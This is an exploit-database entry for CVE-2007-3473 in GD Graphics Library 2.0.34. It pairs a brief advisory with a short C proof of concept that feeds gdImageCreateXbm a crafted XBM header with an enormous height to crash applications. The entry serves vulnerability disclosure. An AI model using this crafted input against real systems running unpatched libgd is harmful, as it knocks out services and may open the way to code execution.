GD Graphics Library 2.0.34 - 'libgd' gdImageCreateXbm Function Unspecified Denial of Service

Author: anonymous
type: dos
platform: linux
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date_added: 2007-06-26 
date_updated: 2013-12-13 
verified: 1 
codes: CVE-2007-3473;OSVDB-37744 
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// source: https://www.securityfocus.com/bid/24651/info

The GD graphics library is prone to multiple vulnerabilities.

An attacker can exploit this issue to cause denial-of-service conditions or execute arbitrary code in the context of applications implementing the affected library.

Version prior to GD graphics library 2.0.35 are reported vulnerable.

#include "gd.h"

int main() {
    FILE *fp = fopen("./x.xbm", "w+");

    fprintf(fp, "#define width 255\n#define height 1073741824\nstatic unsigned char bla = {\n");

    fseek(fp, 0, SEEK_SET);

    gdImageCreateFromXbm(fp);

}